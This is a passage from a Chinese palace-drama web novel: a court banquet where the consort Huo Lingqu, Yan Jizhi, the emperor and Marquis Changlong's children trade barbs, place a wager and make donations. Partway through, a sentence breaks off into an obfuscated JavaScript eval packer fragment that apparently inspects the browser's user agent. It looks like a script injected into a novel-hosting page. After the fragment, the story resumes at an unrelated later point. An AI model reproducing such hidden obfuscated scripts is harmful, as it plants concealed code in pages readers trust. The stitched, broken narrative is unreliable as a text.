晏霁之很温和,没有争辩:“我介意过吗,我是介意你入过风尘,还是我介意你在北境有个情郎,我介意你和魏王不清不楚,我介意你还有个表哥不清不楚,我介意你在皇宫里、皇帝随时能靠近你,抑或是我介意你是个细作、你也想害晏家?” 霍灵渠心微微颤,是,晏霁之是好像这些都不在意,可是,可是……霍灵渠闷得难受:“又如何?还不是得以美色来支撑,你那么讲究,你怎么可能不在意相貌,我都在意的,你若是个丑的,五年前你想买流光时我才不愿意呢。” 晏霁之神情很淡,偏似有股想直击她心房的味道:“因为你没想过嫁给我。” 霍灵渠倏然瞪向他,她就觉得这男人是在谴责她,站在道德的高点谴责她! “你装什么呀?”霍灵渠勃然站起,凛冽抨击:“你不在意相貌,毁容的都能不在意,这得是什么天方夜谭,你当我脑子坏掉啦?你自己都不觉得不要脸吗?” 晏霁之沉吟两息时间,转身往外走,真就这么走了,霍灵渠眨眨眼,几近不可思议,险些被他气哭,气得拿手绢丢他,骗子!骗都骗得那么敷衍。 嬴忱璧步入凉亭,瞥见飘落在地砖上的丝帕,皇帝看过贵妃,弯腰捡起贵妃丢的丝帕,来到贵妃身边坐,把丝帕给贵妃,霍灵渠一把夺过来,嬴忱璧仍然笑意融融。 “晏卿怎么顶撞贵妃了,竟惹得贵妃这么生气?” 霍灵渠充耳不闻,对皇帝视若无睹。嬴忱璧握住贵妃的手,略过晏霁之,专注安抚:“朕知道,册封贵妃,朕多注重自己而少顾全贵妃,但朕从来没有想过要磨灭贵妃的意志,朕怎会想磨灭贵妃的意志?朕只想对贵妃好,我们会圆满的,你相信我。” “你能放我出宫?”霍灵渠原不想搭理,转念想,就老生常谈的问问。 “贵妃?”嬴忱璧都要觉得这个话题没意思,一群人涌过来,皇帝看过去,几位太妃和官眷们尴尬得告退,嬴忱璧喊住:“阮太妃,劳烦太妃让鞠太妃这就出宁寿宫告诉昌隆侯,他那女儿背着他做什么了,否则朕和圣人只能和郢国公谈谈了。” 阮太妃笑着应,大家识趣地走,就知道鞠太妃白忙活一场。 等着看好戏的鞠太妃,好戏没看到,还被泼了盆冷水,怒得拍桌而起,阮太妃装恭顺:“鞠姐姐,还有道催命符顶着呢,您还是快些拿主意。” 同在的几位太妃帮着劝劝,鞠太妃火大地甩袖往外走。 景福殿,多数人家都已经在了,按规模来算,满打满算没超过五百人,当中,晋王和湘王都不在京中,他俩的王妃就都没有来;崇孝长公主心情差,没来;虢王心情差还得来,还都是他长姐陪他来的;武襄侯比虢王还冷清,他家就他一个人在。 虽然蜀王也是一个人来的,但谁叫蜀王还没成家呢,没得比,就像,蜀王又大摇大摆地扛着长刀来的,大庭广众还在擦着刀,魏王也真不嫌危险地在和皇兄闲聊。 老秦王爷到来,多数人都和老王爷寒暄,秦王府曾经的风光似乎又回来了。 再看虢王府眼下的冷清,虢王看得真不是滋味。 昌隆侯从和风殿回来景福殿,走向穆国公,不少人真有点激动的关注,结果……萧灼灼咔嚓咔嚓看好几遍,心情还沮丧都被惊了,昌隆侯和穆国公在谈笑风生? 晏霁之进殿,昌隆侯还举杯给小辈敬酒了,这么年轻的吏部侍郎呀,晏霁之友好回敬,和睦得直叫好多人不忍直视,班落矜想,果然英王和显国公还能和没事人似的。 班落矜是特意跟着她祖父来的,就是想来看看朱家想塞给她四哥的庶女,昌隆侯想跟他家结个亲,推个庶女出来想嫁给他们班家的嫡孙,埋汰谁呢? 打量过那位,班落矜得出结论,不是个安分的主,这什么场合呀,还扮男装。 朱縠艾瞟向她哥,朱窅絜在闷头灌酒,就知道她哥是看见英王世子后不舒服了,朱縠艾抿唇笑:“一副皮囊值当什么,让他当众出个丑给你逗个趣儿?” 朱窅絜抬头看向妹妹,朱縠艾落落难合,靓丽自得。 一袋绿豆大小的珠子在人群的掩护下安静散落在英王世子的脚边,朱縠艾放过珠子,站起来要走时突然被踢中颈部翻滚在地,大殿里猛地一静,数不清的视线顷刻间冲向晏霁之,晏霁之诧异:“我会武很奇怪吗,大家公子不会武才不正常吧?” 班落矜捂嘴偷笑,萧灼灼真不知该不该同情她,朱窅絜疾步冲向妹妹。 昌隆侯扫视过这些散落的珍珠,走过去,盯着这双儿女。 原牧蔷小姑娘在怀疑她大嫂怎么了整个心不在焉,扯扯大哥,要不,问问大嫂是虢王府又出事了吗?原牧烈说,之前虢王府出事,她也没魂不守舍吧? 小姑娘想,是哦。 显国公家是最晚到的,乐邑都打算不出席了,薛述聪不在,婆婆又不出席,她随公爹来当然不妥,没想到这婆婆居然来参宴,乐邑总觉得她是想搞事情来了。 显国公当然更那么想,一来就去找霍秦川:“你直言吧,想算计平原什么?” 霍秦川很无辜:“你非得往我家想作甚?” “她带着一大口箱子来,说是给四皇子的满月礼,那么大只箱子运进宫居然没被查,不是你霍家在捣鬼?”显国公要笑不笑,霍秦川苦瓜脸:“天知道呢。” 显国公愣下不信:“你别跟我插科打诨,无缘无故,陛下算计姑母作甚?” 霍秦川给他使眼色:“看虢王。” 显国公不看:“这跟虢王有什么关系?” “虢王他姐!”霍秦川装腔训:“你当人家进京来做什么,关心这个异母弟弟?” 显国公麻溜走了。 鞠太妃到来,没什么人在意,她找昌隆侯,大家怪下,郢国公眉头微皱,朱縠艾嫌没用地踢把桌脚。 昌隆侯和鞠太妃去殿外谈,没一刻钟返回来,众人悄悄看戏。 昌隆侯阴沉看着刚出糗的女儿,朱縠艾察觉到父亲真生气了,心里不服:“爹?” 就算此计她不肯依从父亲,就算她和鞠太妃没成功,也没得就要让父亲生气吧。 朱窅絜上前护着妹妹些:“爹?” 昌隆侯转向霍秦川笑:“穆国公,让雄鹰给我搭把手吧,我要去给圣人和陛下请个安,在我回来之前让雄鹰帮我盯着他们两个,不要让他们出雄鹰的视线。” 霍秦川很爽快,霍雄鹰不爽快:“你付我二百两。” “大侄子放心吧。”昌隆侯爽朗往外走,朱縠艾烦闷地坐下,朱窅絜忽然就不是滋味,看向萧灼灼,萧灼灼刚和他视线相撞就被兄长拽过,默默低头吃果子。 显国公再找霍秦川,穆国公很想分享地告知,显国公讶异:“他这么娇惯儿女?” “所以他能得这十五年的泼天荣宠呀。” 霍秦川伸手往上指指:“不相信他能掀起什么风浪来嘛。” 显国公发现,霍秦川这推论还挺顺。 昌隆侯再折返景福殿是陪圣人和陛下而来,太上皇没带太妃,玉阶之上,高坐的几位:皇帝、太上皇、霍太后、霍贵妃、翁嫔、霍贵妃抱着的小婴儿,以及伴在太上皇左右的国师诲仰道长。贵妃还随陛下坐,翁嫔想她来抱小皇子被拒,仍一脸甜美。 宫宴始,因兼有给南北铁骑接风,以军乐舞开篇助兴。 台上歌舞高亢,台下,萧耿裕替妹妹愁:“你怎么不说流光姨娘这么漂亮?” 萧灼灼直想翻白眼,她这二哥真是的,流光姨娘有多美早都传遍了,这二哥不信啊,这会儿见到真人晓得人家确实那么美,又反过来埋怨她,真会倒打一耙。 嬴忱璧看眼武襄侯形单影只的身影,贵妃赏赐个妾室,至于吗? 晏霁之观察过昌隆侯这个女扮男装的女儿,若有所思。 而他的打量嘛,朱窅絜推推妹妹,朱縠艾噙着冷笑,鼻腔一声冷嗤。 霍灵渠视线逡巡,看眼他刚才注目过的姑娘,再看他,眼神不自觉渗进低压。 147. 第147章 日当正午,太阳光灿若生辉似比殿中歌舞闪耀。 就在邻座的堂哥不避讳地看个姑娘,晏煦之怎会没察觉:“人家扮男装也还是个姑娘,何况两三刻钟前你刚把人踹翻。” 你要是有什么遐思,你会很悲催。 “我怀疑昌隆侯这个女儿活不过今天了。”晏霁之解释。 晏煦之挑眉:“你最近学看面相了?” 晏霁之放个银锭在桌上:“赌一把,我输了,这十两银子给你。” 晏煦之不满:“十两,你埋汰谁呢。” “这点事就这么点价。”晏霁之自觉他标价合理呀。 “你等下!”晏煦之找下发现没带那么多银锭,对上他媳妇,还是算了,蹿出去转圈,拿来十锭银锭摆桌上:“要赌就赌一百两,你输了赔我一百两。” 晏霁之也同意:“行吧。” 下刻,霍雄鹰拍下二百两银票,他连骰子都拿来了:“来吧,你们买大买小?” 观众们:“……” 霍舒窈想扶额,霍雄鹰是不是真皮痒啊? 霍秦川心说:歌舞就这么不好看?好歹给人家留点面子是吧。 乐邑长公主转过头,幸亏薛述聪哥俩不在,不然保管也能跟着一起赌把。 太上皇和霍太后忽略,皇帝当没看见,霍灵渠低头看小婴儿。 被家人拽出府来的滕王犹豫要不要去凑个热闹,晏煦之对霍雄鹰耳语,霍雄鹰惊诧看向晏霁之,晏霁之转念想就闹大些:“把你哥叫来,我们二对二。” “我大哥不信鬼神,肯定三对一。”霍雄鹰要求:“你输了,赔一千两,我拿四百两。”他就是想赚点零花钱花花嘛。晏霁之同意,他蹿回去把事跟他大哥说了,再把大哥拽过来,霍海啸站定,扫过他们的赌注,说:“我赞同晏霁之的观点。” 滕王刚走近,晏霁之举起手掌,霍海啸跟他击掌,霍雄鹰受刺激了也要跟晏煦之击掌,晏煦之不想做这么幼稚的事都被霍雄鹰把他的手抬起来击掌,滕王瞧着,这不是在玩骰子吧? 昌隆侯随后加入:“这是在赌什么呢,算本侯一份?” “赌你女儿活不活得过今天?”霍雄鹰看见他当即叫道:“昌隆侯,咱们可说好了,我可是押你女儿活得过,我押了四百两呢,你必须保证让你女儿活过今天。” 舞蹈毕,施过礼退出大殿,景福殿里安静了下。 霍太后懒懒得很随意,皇帝嬴忱璧和太上皇都注视昌隆侯这个女儿,霍灵渠惊讶晏霁之刚才注目人家姑娘是在观察人家的生死吗?霍灵渠就忍不住再看向晏霁之。 魏王略一想,恍然晏霁之的猜测依据,谈不上信或不信,就随意吧。 班丞相沉吟下没有定论,显国公同样犹豫,许多人暗暗眼神交流;朱縠艾睨眼那几人,尽量克制着不屑;朱窅絜不能理解,就是,你刚才的凝望怎么会不是见色起意的那种奇怪?昌隆侯乐道:“好啊,算本侯一份,我出一万两,赌我女儿活得过今天。” “侯爷不必这么大手笔,小赌才怡情嘛。”晏霁之顺理成章提议:“这一万两,不如再添点捐给国库吧,动迁民众入塞北的花销不是个小数目,贵妃想略尽绵薄之力,前些天刚捐了十万两,不如侯爷带个头,咱们每家尽点心意。” “好!” 皇帝还真不知该婉拒还是接着,就在嬴忱璧斟酌该如何措辞时,昌隆侯二话不说应下,添八万两,捐上九万两,班丞相站起来跟着捐九万两,穆国公紧随其后,臣子们都挺踊跃,嬴忱璧:“……”就没人想问皇帝的意见吗?好吧,就接着吧。 萧灼灼看呆,要钱这么容易啊? “不是要钱容易,是时机好,有昌隆侯拿一万两做赌在前,涉及国家大事,让他捐点,怎么推?”萧父教育闺女:“但有没有人能想到,就此牵引过去也是关键。灼灼啊,家里不是非要干涉你喜欢谁,但几人能放心自家姑娘跟一个没有担当的男子?” 萧灼灼抿抿唇,低低头,没说话。 翁嫔感叹大家都好有钱啊,还好,今天宫宴多是勋贵和四品官以上人家,哦对了,芮家和建威侯府都没在呢,估计都会庆幸没来吧。 南疆来的三位将领一起代表他们侯爷捐,回头再请侯爷把银两送来。 大臣们轮过,再是宗亲,毕竟是昌隆侯带头,总不能昌隆侯之后,蜀王和魏王接上吧,是以就官员们轮过之后再从宗亲开始。蜀王报三万两,一些人侧目,刚才虽然轮到护国公府时原牧烈就往下降,报五万两,但好歹都维持在五万两。 魏王瞥过这皇兄,一样报三万两,宗亲们轮过圈,只剩虢王还没动静。 虢王咬牙站起来捐三千两,大殿里猛然安静,霍雄鹰真嫌弃他得够了,昌隆侯瞪向他,虢王扭头,哼哼唧唧他家可没钱比不得你们都财大气粗。 原牧蔷瞄向她长嫂,章醇郡主若无所觉,整个人犹若在虚幻中。 太上皇很好的及时圆场,表彰大家,略过虢王,开始皇帝四皇子的满月礼。 平原大长公主兴高采烈的在要送上她的贺礼前肚绞痛起来,暗骂声,暂且离开景福殿。 显国公瞥过平原的酒水,这是…皇帝不想让平原破坏四皇子的满月礼吧。 稍过会儿,一名宫人来禀告显国公和乐邑长公主:平原大长公主在大发雷霆。乐邑跟着宫人去找那位婆婆,见到刚摔了一跤还能中气十足训小宫女的婆婆,就知道她没什么事,好言好语把人哄住再陪她去换衣裳,挨训的宫人们忙不迭告退。 她们婆媳返回时,小婴儿的满月仪式刚结束,殿中在耍百戏,太上皇在和原牧烈说话。平原坐下来靠椅背里舒缓舒缓,她皇兄和南北将领的话说完,她准备送礼了,谁想,她略散漫些就被抢先,昌隆侯问晏霁之:“世子和宜春县主好事将近了吧?” 平原大长公主气闷喝酒。 晏霁之讶异:“侯爷这么孤陋寡闻吗?” 昌隆侯面露惋惜:“可流光姨娘毕竟已经不在了。” 就有些人家看向萧家,霍雄鹰都有看,毕竟宫宴前刚有那么一遭,班丞相也有关注,朱窅絜自然更注意着,看萧灼灼事不关己浑然无所谓,她爹娘也都跟没事人似的,他脸好些。霍雄鹰撇撇嘴,班丞相叹气,萧家这样就真没意思了。 你家想和晏家结亲还偏要端着想做高姿态的一方,谁肯啊,又没想贪图姻亲家些什么,大家都看在眼里呢,萧家还想给宜春县主找户好人家怕都要难了,唉。 老秦王爷都想叹口气。 不过多半关注还是在晏霁之,众目睽睽,晏霁之宣告:“在我心里。” 霍秦川抖下,晏墉很克制,嬴忱璧总觉得对他客气得有点难了,霍灵渠脸皮薄起来又一个激灵清醒,多数人包括晏煦之保持看戏的姿态,太上皇不想多话,昌隆侯还没‘规劝’,朱窅絜挑事:“这么说,英王世子现在心里装着两个人咯?” 许多人闻声注意这个昌隆侯的儿子,昌隆侯微噎,自然地退让看小辈们交锋。 霍雄鹰再撇撇嘴,显国公看他还真娇惯儿女啊,晏副相笑,这可就不止娇惯了;是啊,没他说话的份儿就瞎冒头,还不懂事呢昌隆侯就带出来,班丞相都想摇头。 晏霁之似是想起心里的人,笑意浅浅,温文尔雅:“一个。” 霍灵渠惊讶看他,惊讶晏霁之一个月前还想装对玉藏珠的深情呢,这个月就改主意了?晏霁之是改主意了,想到生死攸关的计划,他思量许多,单就玉藏珠的事,想想,何必呢,再拖个一两年表现出逐渐忘怀的模样就不是忘了?算了吧,何必呢。 这下,晏家诸位都有点惊讶了,晏煦之怀疑老兄真的假的? 大伙儿看霍贵妃还真是副同看戏的惊讶,嬴忱璧心里舒服些,朱窅絜昂首踩道:“英王世子你为玉藏珠都能立誓三十岁娶妻,才几年,你就把人抛诸脑后,你的深情也不过尔尔,看来不必几年你就也能把流光姨娘忘到不知道哪儿去了吧。” 嬴忱璧犹若受点拨一般,对啊,晏霁之能忘情、移情,挺好的呀。 看戏的人们再瞄向霍贵妃,霍灵渠在看出头的这位,观看过,把襁褓给翁嫔。 略感失望的人们转回昌隆侯那边,好些人都想笑昌隆侯了,狗腿子才鼻孔朝天呢,你怎会这样的儿子都能带进宫来?魏王是都要嫌恶了,乐邑嫌不雅地转头,霍雄鹰跟大哥吐槽:“他有种怎么不把眼睛和鼻孔都朝到天上,拿下巴对人。” 萧灼灼她娘也忍不住皱皱眉,萧灼灼就再低低头。 晏霁之道:“不一样。” 嬴忱璧又有点想脸色不好,朱窅絜讥讽:“不一样,有何不同?” 晏霁之垂眸黯然:“自她离去,我才知,我会害怕黑夜。” 太上皇微愣,霍擎和晏副相都看圣人这像是受到触动了,魏王就看他演,看他能不能演出朵花儿来?朱窅絜盛傲蔑视:“所以,也还是没什么不同?以英王世子你六十岁能收心、过四五年就移情来算,你至少还有六七场桃花运呢,恭喜啊。” “……” 晏煦之都要跟堂哥吐槽:“他该再抖抖腿,鼻孔高过眼睛,才生动嘛。” 霍舒窈摇着团扇没看萧灼灼,萧灼灼自己低头了,朱窅絜和她在一起时不是这样的,他们初相识时朱窅絜很腼腆啊还会害羞呢,怎么会好像突然就变了个人? 她爹娘、她二哥,乃至她堂哥和大伯母都脸色不好,秦王走过来说:“应该,他自来就是这样的,只有在他认为需要伪装的时候才装装样子。” 萧灼灼郁郁,这什么意思,朱窅絜对她不是真心的,这五年是假的? “表哥?”咸敬郡主想示意表兄眼下不好多谈,秦王看向表妹夫,近乎要求一般劝诫:“给萧岐送信,灼灼的婚事,你若还想蹉跎个一年半载就让你大哥来做主。” “表哥,”萧岘想委婉些被秦王挡住:“你娶妇是就看脸?” 萧耿裕面色一变。 滕王跟乐邑说:“我都想想念薛述嘉了。” 婆媳俩一同看向他,滕王哀叹:“看着伤眼睛,可圣人和陛下又不会计较这点子事,咱们想教育他就圣人的外甥合适,薛述嘉要是在,咱们不就不用忍他了。” 昌隆侯蹙眉,总觉得哪儿有违和? 霍海啸瞥过昌隆侯,这种狗眼看人的嘴脸,还没察觉不妥,是有多迷失? 嬴忱璧念着潜移默化太可怕,是昌隆侯对家眷这副模样太熟悉了吧。 班落矜想,祖父会拒绝朱家吧。霍雄鹰觉得,他要是晏霁之,他也反感,这么个男的,仅是宜春县主和这么个男的相好过就让人倒胃口了。嬴忱璧看贵妃,霍灵渠反看皇帝,似有感皇帝想问她的感想,叹道:“萧家真不该在晏家浪费心思了。” 嬴忱璧讶然:“假若霁之还在考量中,会仅因看到这位就没有心思了?” 霍灵渠肯定点头。 晏霁之如沐春风般怡悦:“按天数来算情缘,我和流光数年,足有生生世世的情缘了,我都还没想过生生世世呢,借朱少爷吉言了。” 朱窅絜一噎,有些看客就乐了。 是啊,晏霁之和玉藏珠真算起来估计都没见过十面,若这么算,根本没得比。 滕王在晏家人这边冒出来,问个问题,晏霁之没有理会,他就写张字条让宫人往上送,皇帝嬴忱璧收到字条,滕王问贵妃:好歹四年了,宜春怎么还没移情晏霁之? 霍灵渠提笔回六个字:催债、催债、催债。 嬴忱璧忍俊不禁,让宫人把纸条给太上皇过目后,送还滕王。太上皇看过,小内侍走下玉阶又被魏王喊去,魏王看过纸条,蜀王又要过去看眼,这才送到给滕王。 滕王瞟瞟他,晏煦之也睨睨老兄,晏霁之没兴趣多话,滕王就走了。 殿中的百戏表演结束,伶人们行个礼退出大殿。 朱縠艾要给哥哥出头被姬汜拦了拦,姬汜调侃:“那么英王世子你应该感恩当年在霍家纵火把霍灵渠掳走的那位嘛,没有他的鼎力相助,哪有你们这段情缘?” 看热闹的人们闲着就打量几眼昌隆侯带的这位幕僚,霍灵渠默默想,难怪跟她说,下回见面要当做不认识,晏煦之嘻嘻哈哈:“先生排第几啊?” 姬汜惬意道:“吃白饭的,不劳心费神。” “错!”晏煦之还想跟人来几个回合呢被堂哥挡住了,晏霁之肃然站起,正言厉色,凛凛不可犯,颀长的身形在这一刻似有顶立天地之感:“倘若霍灵渠安稳在霍家长大,在她及笄时我会知道我想娶她,我会不惜代价求圣人收回给她的赐婚。” “授康十六年霍家大火不是给我和她的情缘,是给我多两个情敌。”晏霁之面向皇帝,嬴忱璧脸已经有点黑了,晏霁之踔厉风发,无惧指出:“霍家大火后,你轻易就放手了,假若霍灵渠能安稳在霍家长大,一旦我跟你争,你当然还是会放手。” 而对照,从来都可怕。 看客们寂静,皇帝顾不上教训晏霁之,看向霍贵妃,他直觉贵妃在想郭氏。 霍灵渠神情沉凝,没有丝毫被表倾慕的害羞或者不为所动,乐邑长公主怎么看都奇怪。 霍太后脸难看,霍家霍擎祖孙四位都形容发沉,嬴忱璧就觉得心凉了凉,他都能想象霍海啸会想指责他些什么。 太上皇叹口气,给昌隆侯使眼色。 魏王不咸不淡的:“老六当年还闹过父皇呢,你可什么反应都没有。” 昌隆侯一噎,把话咽回喉咙里,太上皇只能任由魏王侃侃。 “十岁、八岁,能有少年慕艾情窦初开?所以我说,在她及笄时我会知道我想娶她。”晏霁之转向魏王,目光炯炯:“老六,老六除了闹闹圣人之外还能如何,闹不掉赐婚,也就这样了,他能接受做霍灵渠的哥哥,玩得好的姑娘,他就能愿意娶。” “唯有我!” 晏霁之掷地有声,振聋发聩:“我会破釜沉舟!” 莫名地,大殿都好像为之一颤令谁都难以轻视他的认真和决心。 晏煦之看哥哥有点疯了,霍灵渠没什么波动,但刚刚的沉郁被他激烈得治愈了,霍雄鹰有点被震地看向大哥,霍海啸总觉得有哪里不对劲,晏霁之犯不着扯谎吧。 嬴忱璧沉寂,魏王无语他又在闷什么,太上皇笑起来:“贵妃相信霁儿吗?” 霍灵渠抿抿唇,似要把之前在宛然亭受的气一同骂出来:“骗子!” 魏王乐了,好些人都有点乐,气氛倏然一轻。 嬴忱璧笑不出来,不至于像打情骂俏,但皇帝真的觉得这声骗子像是情人间的闹别扭,是女人家想凶男人都藏不住对心上人的撒娇,是等着男人来哄的亲昵。 晏霁之看向霍灵渠,单刀直入:“你看我像是怕死吗?” 霍灵渠对峙:“假若童年和我有婚约的人是你,你还能坚持和我的婚约?” 晏霁之反提醒:“五年前我没有买流光吗?” 霍灵渠抨击:“就算你能坚持,你娶的能是我吗,是那个假冒货。” 晏霁之没好气瞪她,当他对她和嬴忱璧童年时定亲没气呀:“童年和你有婚约的人若是我,不用你自己跑,我就发现那是个假冒货,把你救出来了!” 嬴忱璧深呼吸要修理这混球时霍灵渠摔杯了,皇帝差点没被贵妃吓到,诧异看向贵妃,霍灵渠强烈谴责:“你装什么呀,我们全家都发现不了,你能发现?” “我不会像你爹你祖父他们那么依从你呀。”晏霁之理所当然:“你在英王府时不老是嫌被我压制着想看我吃瘪嘛,我能像你爹他们那么依从你吗?”他都想凶凶她:“没两个月,我就能发现那是个假冒货了,不用一年我都能把你救出来了。” 霍灵渠瘪瘪嘴,没声了,姬汜在心里乐翻,一物降一物呀。 “不对!”霍灵渠再奋起道:“你说想求圣人就求啊,我问过我的意见没有,你看你装的深情里就没我什么事好像跟我没关系,你对我还有没有点尊重?” “你又不在意谁给你做丈夫。”晏霁之总算感知到她不慕情爱的好了:“不管是嬴忱璧还是我或者老六,只要合适,你都无所谓,你只会想换个男人做丈夫就换个男人吧。” 霍灵渠:“……” 霍擎老太爷都有点想笑了,霍灵渠哭笑不得想捂脸,她真的会那么想的。 朱窅絜重整旗鼓重创:“那这么个女人,你也能看得上?” 鄙薄低贱霍贵妃轻蔑晏霁之以及他的居高临下彰明较著一目了然。 许多人打个激灵,昌隆侯面色一变,意识到违和在哪儿了,顾不得管束要请罪时皇帝的威压压下来,示意他不要多话,昌隆侯看过圣人,默然低头以示敬意。 她皇兄还早有不得辱及贵妃的口谕呢,乐邑长公主心道。 班落矜都要怀疑了,朱家这人这样不知轻重吗,太上皇跟你认识啊,没有陛下或者圣人默许就轻贱贵妃可是对陛下和皇家不敬,何况这还有在两位至尊面前拿大呢。 嬴忱璧猜,昌隆侯就没想过要警戒儿女在皇宫中的敬畏吧。 显国公赞同了,霍秦川猜的没错,就是不相信他能掀起风浪来,这么不知所谓的儿子,他都没察觉还能带进宫来,他眼神得有多差?房副相咂摸,圣人看人还是准的,赞霍贵妃是做枭雄的料,可从未觉得这表弟能担起枭雄二字。 巧了,霍秦川也正这么想。 晏霁之拿折扇坐下来,萧灼灼看他竟然就这么被说哑了,诧异了,霍舒窈瞥过萧灼灼,心里冷笑,还真不愧是相好,这么个高高在上指摘、又肆意低贱侮辱把人当下三滥的嘴脸,萧灼灼居然没觉得不妥,就是也在打心眼儿里轻贱我妹咯? 原牧蔷小姑娘看看她大嫂,还失魂落魄,就不懂这大嫂怎么了呀? 霍雄鹰火大了,要干架被霍海啸拽住:“让晏煦之去向圣人请个恩典。” 行!霍雄鹰迈出步,看见晏煦之去找魏王了,他就不费事了。 朱窅絜也是要乘胜追击时瞥见晏家的动静,就观望下。 晏煦之和魏王商量:“你出面把人轰走省得大家都嫌恶,行吧?” 魏王提问:“我为什么要多事?” 晏煦之很顺畅:“你是王爷。” 行吧,魏王拿折扇往上指指,晏煦之招个小内侍来让他去禀告:他想向圣人请个旨意,得到可以上玉阶的准许,晏煦之忙跑上玉阶去闹姑父。 翁嫔松口气,还以为就她嫌呢,昌隆侯带来的都什么人呀,有病吧。 “传闻,温献皇后入宫前就有心上人了?” 晏煦之闹到太上皇姑父同意,要去找魏王时飘出来这么一句话,他定住,众人循声望去见是昌隆侯的女儿,就是朱縠艾说的,父亲向圣人请罪,她怡然自得。 太上皇温和道:“不是什么事儿,没那么讲究,无妨。” 昌隆侯谢过圣人,收到几道‘崇敬’视线,霍秦川还给他竖大拇指了,一下被噎得,他也被打了个措手不及就没想到,冷静下,昌隆侯不禁考量,这女儿会是用处多还是坏事多,若坏事多?昌隆侯饮杯酒,活不过今天就活不过今天吧。 如此触怒圣人,除非他帮着担,否则这女儿就得拿命来抵,昌隆侯当然懂。 朱縠艾挑衅看向晏家人,英王似不想跟个小辈计较,晏煦之回到位子准备给她补两拳,晏霁之冷肃道:“圣人一定是最清楚的,不必姑娘还用传闻二字。” “那晏家敢不敢当众供出此人?”朱縠艾轻巧耻笑:“事无不可对人言嘛。” 晏煦之要揍她被拉住,大伙就看晏家众位都脸难看,朱縠艾则特意看向太上皇,太上皇笑着似还挺有兴味,朱縠艾放心奚落:“怎么,晏家说不出来吗?” 显国公总觉得圣人的态度有点怪,班丞相琢磨下,派个孙子出去吧。 霍海啸笑,他们还低估这位了,不必触及皇帝的口谕都能把自己作死。 晏副相看朱存焳,这是要对这个女儿放手了? 班四少爷把消息带回给祖父,班丞相微愣,对上几个同僚的视线,再把孙子推出去,可怜班四少爷还得继续猫着腰穿梭去送口信:在送她上路呢。 显国公恍悟又懊恼,怎么这都能卡住想不到。 大殿安静,朱縠艾稍等过片刻,要痛打落水狗时,旁边飘来道声音—— “我家弟弟。” 朱縠艾愣下转向姬汜,姬汜很乐意再告知遍:“我家弟弟,你要的答案。” “……”朱縠艾转不过弯的看向父亲,昌隆侯很严厉,朱縠艾心缩下就低头了,霍雄鹰看得要乐翻了要大笑嘲笑时被踹,霍雄鹰瞪向老兄,霍海啸眼神告诫:不看看这什么场合,霍雄鹰只好闷住。 众人有志一同都没啥反应,萧灼灼惊讶都被她娘制止。 萧灼灼一下就懂了,看太上皇的热闹,嫌活腻了是吧。 显国公想到个人想咳嗽都硬忍住了。 武襄侯恍然,猜到是谁了,晏煦之觉得那么像天方夜谭,朱窅絜不可思议地看着姬汜,姬汜没顾忌地跟晏霁之打招呼:“咱们差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不一样!”霍灵渠告诫:“我想不出来晏霁之会喜欢什么样的人就想不出来,没什么大不了,但是我爹,我爹呀,我怎么能想不出来,我想不出来不是问题大了去了嘛。” 晏霁之有意见:“你想不出来我会喜欢什么样的人就没什么大不了?” 嬴忱璧注视这混球,晏霁之没退让,霍灵渠无奈安抚:“好,我就改成,除我爹之外,我想不出来我认识的人会喜欢什么样的人都没什么大不了。” 晏霁之驳回:“那你想不出来你爹会喜欢什么样的人又有什么大不了?” “当然有大不了!”霍灵渠重训,差点让皇帝又侧目,霍灵渠计较道:“我爹,我爹呀,我怎么能想不出来我爹会喜欢什么样的人呢,这一定有问题!” “应该没人能理解。”晏霁之打击:“你可以看看,谁能支持你?” 霍灵渠一眼看去,一片安静,她攥攥拳头。 霍海啸站起来,在吸引过众人的瞩目,在他爹都惊诧,贵妃堂妹喜悦起来时,他解释:“我只是好奇,怎么会流光姨娘都想不出来晏霁之会喜欢什么样的人?” 霍灵渠白高兴一场,怏怏道:“因为没有标准,全凭他心意,这还怎么猜。” “肯定得要有才情吧。”霍海啸列举:“玉藏珠可是个才女。” “没有肯定。”霍灵渠否:“只有以他心意。” 霍海啸挑眉:“难道晏霁之还能喜欢不通文墨的女子?” 呃?霍灵渠想想犯愁了,好像也不能排除不可能吧,霍灵渠苦恼:“哎呀我想不出来,大哥你问晏霁之吧,肯定是他本人最清楚。”略过哥哥,她转移目标,揪准她祖父,瞬间,又精神抖擞斗志昂扬:“祖父,我母亲叫什么名字?” 霍擎老神在在:“陛下,您还是管管贵妃,让娘娘莫再胡闹了。” 嬴忱璧赞同地劝:“老国丈言之有理,贵妃莫再瞎钻牛角尖了。” “我若一定要问个清楚呢?”霍灵渠语气不善,嬴忱璧开解道:“贵妃,想不出来别人会喜欢什么样的人,是不是你父亲有何不同,谁也不可能事事都参透。” 霍灵渠懒得跟他绕:“我查问我母亲的名字,你都要阻扰吗?” 嬴忱璧呃,想知道自己母亲的名字没有不可吧,皇帝看向老穆国公,霍擎笑得满脸褶:“陛下,这是贵妃母亲生前的交代,您刚才也听见了,圣人也是知道的。” 嬴忱璧看向老爹,太上皇应道:“是啊,皇儿就管管贵妃吧。” 由此,皇帝训诫:“既是贵妃母亲生前的交代,贵妃就不要打探了。” 霍灵渠盯着他,嬴忱璧有骨气的没有妥协,霍灵渠捏捏拳头,转向翁嫔交代:“我要和陛下说句话,会吵到小皇子,你抱着孩子去殿外,我话说完了,你再进来。” 翁嫔看向陛下,嬴忱璧点点头。 霍海啸来到晏家这边问晏霁之:“你猜贵妃会想说些什么?” 晏霁之道:“应该生气了要发火吧。” 翁嫔抱着襁褓往外走,众人目送过翁嫔,注目霍贵妃,嬴忱璧也看向贵妃,霍灵渠推过皇帝的脸,揪住皇帝的耳朵,声嘶力竭吼:“啊啊啊……啊啊啊!!” “……” 晏霁之转过脸,霍海啸低低头,在殿外的翁嫔默默捂住小皇子的耳朵。 霍秦川很想同情皇帝,霍雄鹰都感觉招架不住啊,看客们惨不忍睹,太上皇念念心经,霍太后全当刚才什么都没有发生,耳朵受到暴击的皇帝嬴忱璧还有点僵硬,霍灵渠发泄场,拿起团扇狂扇,霍擎无奈:“娘娘啊你母亲有遗言不让你知道,你问不出来的。” 